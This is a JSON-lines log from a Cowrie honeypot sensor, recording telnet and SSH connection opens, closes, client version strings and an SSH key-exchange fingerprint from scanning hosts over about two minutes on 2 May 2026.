{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":53044,"dst_ip":"10.17.0.5","dst_port":23,"session":"8017c0d1b89b","protocol":"telnet","message":"New connection: 103.75.182.27:53044 (10.17.0.5:23) [session: 8017c0d1b89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:28.682144Z"}
{"eventid":"cowrie.session.closed","duration":120.00144529342651,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:29.433399Z","src_ip":"187.181.177.252","session":"a7f150b7a675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.519360065460205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:31.229672Z","src_ip":"103.75.182.27","session":"894cdf75160d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.258660554885864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:34.157087Z","src_ip":"103.75.182.27","session":"cb5354de5dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58024764060974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:35.225829Z","src_ip":"103.75.182.27","session":"061841905fae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":47804,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec62a5a8bb73","protocol":"telnet","message":"New connection: 103.75.182.27:47804 (10.17.0.5:23) [session: ec62a5a8bb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:35.625913Z"}
{"eventid":"cowrie.session.closed","duration":30.536476850509644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:37.221418Z","src_ip":"103.75.182.27","session":"373443ecf493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54521346092224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:42.278550Z","src_ip":"103.75.182.27","session":"9ad77c04dbe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49605441093445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:45.151655Z","src_ip":"103.75.182.27","session":"66eaeee8efe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52557635307312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:46.151295Z","src_ip":"103.75.182.27","session":"6ebb406f2404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.381185054779053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:47.141509Z","src_ip":"103.75.182.27","session":"ef4dbdf0aed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5254864692688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:47.208567Z","src_ip":"103.75.182.27","session":"b10d735910f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":46164,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fe08590d08d","protocol":"telnet","message":"New connection: 103.75.182.27:46164 (10.17.0.5:23) [session: 6fe08590d08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:50.661810Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":46174,"dst_ip":"10.17.0.5","dst_port":23,"session":"00adf942a0bb","protocol":"telnet","message":"New connection: 103.75.182.27:46174 (10.17.0.5:23) [session: 00adf942a0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:50.904636Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":58400,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a9a27aafb3c","protocol":"telnet","message":"New connection: 103.75.182.27:58400 (10.17.0.5:23) [session: 0a9a27aafb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:52.708027Z"}
{"eventid":"cowrie.session.closed","duration":31.376243114471436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:53.261540Z","src_ip":"103.75.182.27","session":"572e5fb531c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547536849975586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:53.269978Z","src_ip":"103.75.182.27","session":"5f6c1cbb3f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47962784767151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:55.126433Z","src_ip":"103.75.182.27","session":"c7fb43dff7ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463736534118652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:55.184357Z","src_ip":"103.75.182.27","session":"ec4774099e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.9588737487793,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:55.630815Z","src_ip":"104.245.105.2","session":"6dffc32d7919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52584958076477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:56.135402Z","src_ip":"103.75.182.27","session":"005696296b90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46001100540161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:56.174657Z","src_ip":"103.75.182.27","session":"2b84013f3d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":58410,"dst_ip":"10.17.0.5","dst_port":23,"session":"09dd1b4f0029","protocol":"telnet","message":"New connection: 103.75.182.27:58410 (10.17.0.5:23) [session: 09dd1b4f0029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:56.806316Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.133.200.229","src_port":34654,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6dae7920171","protocol":"telnet","message":"New connection: 38.133.200.229:34654 (159.203.135.109:23) [session: b6dae7920171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:57.468708Z"}
{"eventid":"cowrie.session.closed","duration":30.44197654724121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:21:59.123989Z","src_ip":"103.75.182.27","session":"8017c0d1b89b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":53680,"dst_ip":"10.17.0.5","dst_port":23,"session":"b60a37949829","protocol":"telnet","message":"New connection: 103.75.182.27:53680 (10.17.0.5:23) [session: b60a37949829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:02.676037Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":53684,"dst_ip":"10.17.0.5","dst_port":23,"session":"8395e90ed135","protocol":"telnet","message":"New connection: 103.75.182.27:53684 (10.17.0.5:23) [session: 8395e90ed135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:03.653918Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":53698,"dst_ip":"10.17.0.5","dst_port":23,"session":"86fb2297b2b6","protocol":"telnet","message":"New connection: 103.75.182.27:53698 (10.17.0.5:23) [session: 86fb2297b2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:05.147954Z"}
{"eventid":"cowrie.session.closed","duration":30.527371168136597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:06.153191Z","src_ip":"103.75.182.27","session":"ec62a5a8bb73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17602,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c9e0e08b3d4","protocol":"ssh","message":"New connection: 194.59.206.2:17602 (159.203.135.109:22) [session: 7c9e0e08b3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:06.679052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:06.685558Z","src_ip":"194.59.206.2","session":"7c9e0e08b3d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:06.772560Z","src_ip":"194.59.206.2","session":"7c9e0e08b3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:06.863128Z","src_ip":"194.59.206.2","session":"7c9e0e08b3d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":53702,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf87e6cf1809","protocol":"telnet","message":"New connection: 103.75.182.27:53702 (10.17.0.5:23) [session: bf87e6cf1809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:09.614233Z"}
{"eventid":"cowrie.session.closed","duration":13.209539890289307,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:10.678088Z","src_ip":"38.133.200.229","session":"b6dae7920171","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":59970,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a9a37b4ce09","protocol":"telnet","message":"New connection: 103.75.182.27:59970 (10.17.0.5:23) [session: 9a9a37b4ce09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:12.633577Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":32874,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa4c290933a","protocol":"telnet","message":"New connection: 104.245.105.2:32874 (10.17.0.5:23) [session: 8fa4c290933a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:12.945158Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":59980,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d43a6f01c94","protocol":"telnet","message":"New connection: 103.75.182.27:59980 (10.17.0.5:23) [session: 6d43a6f01c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:15.625682Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":59992,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6eb9a6f865c","protocol":"telnet","message":"New connection: 103.75.182.27:59992 (10.17.0.5:23) [session: b6eb9a6f865c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:19.653370Z"}
{"eventid":"cowrie.session.closed","duration":30.5962336063385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:21.257959Z","src_ip":"103.75.182.27","session":"6fe08590d08d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":42236,"dst_ip":"10.17.0.5","dst_port":23,"session":"5471088108c3","protocol":"telnet","message":"New connection: 103.75.182.27:42236 (10.17.0.5:23) [session: 5471088108c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:21.664587Z"}
{"eventid":"cowrie.session.closed","duration":31.24100947380066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:22.145545Z","src_ip":"103.75.182.27","session":"00adf942a0bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52292561531067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:23.230843Z","src_ip":"103.75.182.27","session":"0a9a27aafb3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4520480632782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:27.258271Z","src_ip":"103.75.182.27","session":"09dd1b4f0029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":42252,"dst_ip":"10.17.0.5","dst_port":23,"session":"815a04b1639b","protocol":"telnet","message":"New connection: 103.75.182.27:42252 (10.17.0.5:23) [session: 815a04b1639b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:30.624560Z"}
{"eventid":"cowrie.session.closed","duration":30.496450424194336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:33.172081Z","src_ip":"103.75.182.27","session":"b60a37949829","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60586380958557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:34.259654Z","src_ip":"103.75.182.27","session":"8395e90ed135","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071067571640015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:36.218719Z","src_ip":"103.75.182.27","session":"86fb2297b2b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":36334,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa2f2a1a8f5b","protocol":"telnet","message":"New connection: 103.75.182.27:36334 (10.17.0.5:23) [session: aa2f2a1a8f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:38.642925Z"}
{"eventid":"cowrie.session.closed","duration":30.648475170135498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:40.262579Z","src_ip":"103.75.182.27","session":"bf87e6cf1809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":36344,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ee2e505ee3b","protocol":"telnet","message":"New connection: 103.75.182.27:36344 (10.17.0.5:23) [session: 6ee2e505ee3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:40.736952Z"}
{"eventid":"cowrie.session.closed","duration":30.53114104270935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:43.164603Z","src_ip":"103.75.182.27","session":"9a9a37b4ce09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50572657585144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:46.131330Z","src_ip":"103.75.182.27","session":"6d43a6f01c94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":52452,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9cb352fdd8","protocol":"telnet","message":"New connection: 103.75.182.27:52452 (10.17.0.5:23) [session: dd9cb352fdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:48.614647Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":52460,"dst_ip":"10.17.0.5","dst_port":23,"session":"6513567e838a","protocol":"telnet","message":"New connection: 103.75.182.27:52460 (10.17.0.5:23) [session: 6513567e838a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:48.736055Z"}
{"eventid":"cowrie.session.closed","duration":30.649365425109863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:50.302616Z","src_ip":"103.75.182.27","session":"b6eb9a6f865c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.77673959732056,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:50.721772Z","src_ip":"104.245.105.2","session":"8fa4c290933a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50052785873413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:52.164988Z","src_ip":"103.75.182.27","session":"5471088108c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":52560,"dst_ip":"10.17.0.5","dst_port":23,"session":"b936dc7106cf","protocol":"telnet","message":"New connection: 103.75.182.27:52560 (10.17.0.5:23) [session: b936dc7106cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:52.621592Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":52572,"dst_ip":"10.17.0.5","dst_port":23,"session":"dafbe48570f3","protocol":"telnet","message":"New connection: 103.75.182.27:52572 (10.17.0.5:23) [session: dafbe48570f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:55.704577Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":8470,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f5d0f28607","protocol":"ssh","message":"New connection: 35.195.148.6:8470 (159.203.135.109:22) [session: 29f5d0f28607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:57.482279Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:57.494264Z","src_ip":"35.195.148.6","session":"29f5d0f28607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44458,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3e881b2b66","protocol":"telnet","message":"New connection: 104.245.105.2:44458 (10.17.0.5:23) [session: fa3e881b2b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:58.020454Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":8480,"dst_ip":"159.203.135.109","dst_port":22,"session":"df31b47816d6","protocol":"ssh","message":"New connection: 35.195.148.6:8480 (159.203.135.109:22) [session: df31b47816d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:58.779508Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:22:58.860229Z","src_ip":"35.195.148.6","session":"df31b47816d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":52588,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b1b2437bc9","protocol":"telnet","message":"New connection: 103.75.182.27:52588 (10.17.0.5:23) [session: 15b1b2437bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:00.718574Z"}
{"eventid":"cowrie.session.closed","duration":30.738022565841675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:01.362438Z","src_ip":"103.75.182.27","session":"815a04b1639b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.107.19","src_port":55426,"dst_ip":"10.17.0.5","dst_port":23,"session":"907dbdedf0cd","protocol":"telnet","message":"New connection: 103.160.107.19:55426 (10.17.0.5:23) [session: 907dbdedf0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:04.521917Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.107.19","src_port":55442,"dst_ip":"10.17.0.5","dst_port":23,"session":"81348658df9f","protocol":"telnet","message":"New connection: 103.160.107.19:55442 (10.17.0.5:23) [session: 81348658df9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:08.602212Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":58266,"dst_ip":"10.17.0.5","dst_port":23,"session":"f254e5e2399d","protocol":"telnet","message":"New connection: 103.75.182.27:58266 (10.17.0.5:23) [session: f254e5e2399d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:08.628284Z"}
{"eventid":"cowrie.session.closed","duration":30.59376049041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:09.236544Z","src_ip":"103.75.182.27","session":"aa2f2a1a8f5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.107.19","src_port":51508,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab924b543387","protocol":"telnet","message":"New connection: 103.160.107.19:51508 (10.17.0.5:23) [session: ab924b543387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:10.527508Z"}
{"eventid":"cowrie.session.closed","duration":30.530466318130493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.267298Z","src_ip":"103.75.182.27","session":"6ee2e505ee3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":34242,"dst_ip":"159.203.135.109","dst_port":22,"session":"65161cef3615","protocol":"ssh","message":"New connection: 35.195.148.6:34242 (159.203.135.109:22) [session: 65161cef3615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.271802Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.403114Z","src_ip":"35.195.148.6","session":"65161cef3615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.408556Z","src_ip":"35.195.148.6","session":"65161cef3615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":34244,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f9e9fd47992","protocol":"ssh","message":"New connection: 35.195.148.6:34244 (159.203.135.109:22) [session: 0f9e9fd47992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.636659Z"}
